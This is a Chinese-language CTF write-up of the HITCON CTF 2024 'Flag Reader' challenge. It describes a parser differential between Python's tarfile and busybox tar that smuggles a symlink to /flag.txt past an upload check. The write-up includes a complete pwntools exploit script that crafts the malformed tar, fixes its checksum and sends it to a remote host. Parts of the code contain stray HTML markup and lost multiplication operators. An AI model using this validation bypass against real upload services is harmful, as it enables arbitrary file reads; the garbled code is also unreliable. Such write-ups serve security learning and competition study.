hitconctf-2024-writeup
這場與 星爆吉娃娃、BambooFox、以及我們 B33f 50UP 所組成的 星爆牛炒竹狐 隊伍一起打到了世界第 24 名、台灣排名第一名，並且打進今年 HITCON CTF 決賽。
這邊就來寫一下我解的題目 writeup。
戰績
Flag Reader
目標是上傳一個帶有 flag.txt -> /flag.txt 的 symlink，但是 server 的 python 會用 tarfile 做一次 tarinfo 的檢查，檢查一定要是 file 且名字不能帶 flag.txt，檢查過才會用 subprocess 跑 busybox tar 去解檔。
首先我先去看tarfile 定義為 isfile 的檔案類型
REGULAR_TYPES = (REGTYPE, AREGTYPE,
CONTTYPE, GNUTYPE_SPARSE)
發現 typebyte 要設成 \0、0、7、S isfile 結果才會是 true。
最一開始我注意到 S 這個東西，發現是 GNU 特有的 type 但是不知道為何我用自己 linux 測以後，發現 tarfile 會認 Sparse file 但是 tar 不知道為何還是按照一般的檔案去解，這邊可能有待研究。
反正我先建了一個 tar 包了兩個檔案，一個是一個動過手腳的空 Sparse file 一個就 flag 的 symlink，這邊的製作方式是。
touch 1
ln -s /flag.txt flag.txt
tar cvf 1 flag.txt
接著用 Hex editer 改，把 header offset 482 的 isextended 設成 true （非 \0）這樣他就會多讀一個 Block 作為 Sparse 的 extend header，那那個 Block 原本是放 flag.txt 的 header 就會被蓋掉，這樣 tarfile 就只會認出個檔案而已，但是因為上面講的 tar 沒認 Sparse file 所以她解開就會把兩個檔案都解開，應該就能繞過檢查。
但是發現失敗了，自己架一次以後發現原因出在 busybox tar 的這個位置可以發現他沒有實作 Sparse file，然後遇到沒有實作的 type 就會直接 Crash。
因此我開始找別的突破點，後來發現。
我們可以去比對 python tarfile 跟 busybox tar 的 source code 裡面讀取數字的地方。 tarfile busybox tar
可以發現兩邊的行為有很多不一致，其中有一個地方是 busybox tar 那邊取數字的取法是把該 field 範圍的字串用 strtoull 以 base 8 轉成 unsigned long long，而 strtoull 會從 low byte 開始讀數字，讀到第一個非數字為止，而接下來會做判斷。
v = strtoull(str, &end, 8);
/* std: "Each numeric field is terminated by one or more
* <space> or NUL characters". We must support ' '! */
if (*end != '\0' && *end != ' ') {
可以看到他會檢查非數字如果是 ‘\0’ 或 ' ' 就不會走進 if，而裡面是處理大數字時改為用 base 256 計算的方式。也就是說如果我們把數字的 field 改成 0 1111111 這類的，他會得到 0。
接著看一下 tarfile 的 nti。
def nts(s, encoding, errors):
"""Convert a null-terminated bytes object to a string.
"""
p = s.find(b"\0")
if p != -1:
s = s[:p]
return s.decode(encoding, errors)
def nti(s):
# …………………
else:
try:
s = nts(s, "ascii", "strict")
n = int(s.strip() or "0", 8)
except ValueError:
raise InvalidHeaderError("invalid header")
# …………………
可以看到他會先找到第一個 ‘\0’ 以後將前面的 byte 做 decode 以後用 int 以 base 8 轉成整數，那如果按照上面用 0 1111111 會發生甚麼事情。
>>> int('0 11111', 8)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ValueError: invalid literal for int() with base 8: '0 11111'
可以發現他會直接 ValueError 而 ValueError 會 raise InvalidHeaderError
接著去看 TarFile.next
tarinfo = None
while True:
try:
tarinfo = self.tarinfo.fromtarfile(self)
except EOFHeaderError as e:
if self.ignore_zeros:
self._dbg(2, "0x%X: %s" % (self.offset, e))
self.offset += BLOCKSIZE
continue
except InvalidHeaderError as e:
if self.ignore_zeros:
self._dbg(2, "0x%X: %s" % (self.offset, e))
self.offset += BLOCKSIZE
continue
elif self.offset == 0:
raise ReadError(str(e)) from None
#...............................
break
if tarinfo is not None:
self.members.append(tarinfo)
else:
self._loaded = True
return tarinfo
可以發現如果 InvalidHeaderError 且 self.offset != 0 也就是不是第一個 block 的時候就會停止讀取。所以如果我在第二個檔案的 tar header 裡隨便找個數字並塞個 space 的話，tarfile 就會只認出一個檔案，這時如果我把 flag.txt 的 symlink 放在第二個檔案以後，tarfile 就不會檢查到，同時又可以被 busybox 的 tar 解出來。這樣就能繞過檢查了。
exploit:
from pwn import *
import subprocess
from pathlib import Path
from tempfile import TemporaryDirectory
import base64
import sys
BLOCK_SIZE = 512
def calculate_tar_checksum(header):
if len(header) != BLOCK_SIZE:
raise ValueError(f"Header must be exactly {BLOCK_SIZE} bytes.")
checksum <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
<span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(BLOCK_SIZE):
<span style="color:#66d9ef">if</span> <span style="color:#ae81ff">148</span> <span style="color:#f92672"><=</span> i <span style="color:#f92672"><</span> <span style="color:#ae81ff">156</span>:
checksum <span style="color:#f92672">+=</span> <span style="color:#ae81ff">32</span>
<span style="color:#66d9ef">else</span>:
checksum <span style="color:#f92672">+=</span> header[i]
<span style="color:#66d9ef">return</span> checksum
with TemporaryDirectory() as tmpdir:
subprocess.run(
["touch", '1'],
check=True,
cwd=tmpdir,
)
subprocess.run(
["touch", '2'],
check=True,
cwd=tmpdir,
)
subprocess.run(
["ln", "-s", "/flag.txt", 'flag.txt'],
check=True,
cwd=tmpdir,
)
subprocess.run(
["tar", "cvf", "payload.tar", '1', '2', 'flag.txt'],
check=True,
cwd=tmpdir,
)
payload = Path(tmpdir) / "payload.tar"
with open(payload, "rb") as f:
payloadbytes = f.read()
payloadbytes = bytearray(payloadbytes)
payloadbytes[1 BLOCK_SIZE + 0x7D] = ord(' ')
payloadbytes = bytes(payloadbytes)
header_block = payloadbytes[1 BLOCK_SIZE:2 BLOCK_SIZE]
checksum = oct(calculate_tar_checksum(header_block))[2:].zfill(6)
payloadbytes = bytearray(payloadbytes)
for i in range(len(checksum)):
payloadbytes[1 BLOCK_SIZE + 0x94 + i] = ord(checksum[i])
payloadbytes = bytes(payloadbytes)
payloadbase64 = base64.b64encode(payloadbytes)
conn = remote(sys.argv[1], int(sys.argv[2]))
conn.sendline(payloadbase64)
print(conn.recvuntil(b'\n\n'))
hitcon{is_it_still_possible_if_I_banned_the_presense_of_flag.txt_in_the_binary_data_of_the_tar_file?}